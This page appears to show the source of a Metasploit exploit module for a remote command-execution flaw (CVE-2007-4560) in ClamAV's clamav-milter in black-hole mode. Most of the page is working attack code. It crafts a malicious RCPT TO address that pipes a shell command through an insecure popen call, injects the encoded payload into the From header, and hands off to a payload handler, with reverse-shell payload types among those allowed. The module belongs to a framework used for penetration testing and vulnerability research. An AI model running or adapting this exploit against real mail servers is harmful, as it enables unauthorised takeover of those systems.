Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/smtp/clamav_milter_blackhole.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Smtp910def initialize(info = {})11super(update_info(info,12'Name' => 'ClamAV Milter Blackhole-Mode Remote Code Execution',13'Description' => %q{14This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter'15(Sendmail mail filter). Versions prior to v0.92.2 are vulnerable.16When implemented with black hole mode enabled, it is possible to execute17commands remotely due to an insecure popen call.18},19'Author' => [ 'aushack' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'CVE', '2007-4560' ],24[ 'OSVDB', '36909' ],25[ 'BID', '25439' ],26[ 'EDB', '4761' ]27],28'Privileged' => true,29'Payload' =>30{31'DisableNops' => true,32'Space' => 1024,33'Compat' =>34{35'PayloadType' => 'cmd cmd_bash',36'RequiredCmd' => 'generic perl ruby bash-tcp telnet',37}38},39'Platform' => 'unix',40'Arch' => ARCH_CMD,41'Targets' =>42[43[ 'Automatic', { }],44],45'DisclosureDate' => '2007-08-24',46'DefaultTarget' => 0))4748register_options(49[50OptString.new('MAILTO', [ true, 'TO address of the e-mail', 'nobody@localhost']),51])52end5354def exploit5556# ClamAV writes randomized msg.###### temporary files in a randomized57# /tmp/clamav-#######################/ directory. This directory is58# the clamav-milter process working directory.59#60# We *can* execute arbitrary code directly from 'sploit', however the61# SMTP RFC rejects all payloads with the exception of generic CMD62# payloads due to the IO redirects. I discovered that the 'From:'63# header is written to this temporary file prior to the vulnerable64# call, so we call the file itself and payload.encoded is executed.6566sploit = "sh msg*" # Execute the clamav-milter temporary file.6768# Create the malicious RCPT TO before connecting,69# to make good use of the Msf::Exploit::Smtp support.7071oldaddr = datastore['MAILTO']72newaddr = oldaddr.split('@')7374datastore['MAILTO'] = "<#{newaddr[0]}+\"|#{sploit}\"@#{newaddr[1]}>"7576connect_login7778sock.put("From: ;#{payload.encoded}\r\n") # We are able to stick our payload in this header79sock.put(".\r\n")8081# Clean up RCPT TO afterwards8283datastore['MAILTO'] = oldaddr8485handler86disconnect87end88end899091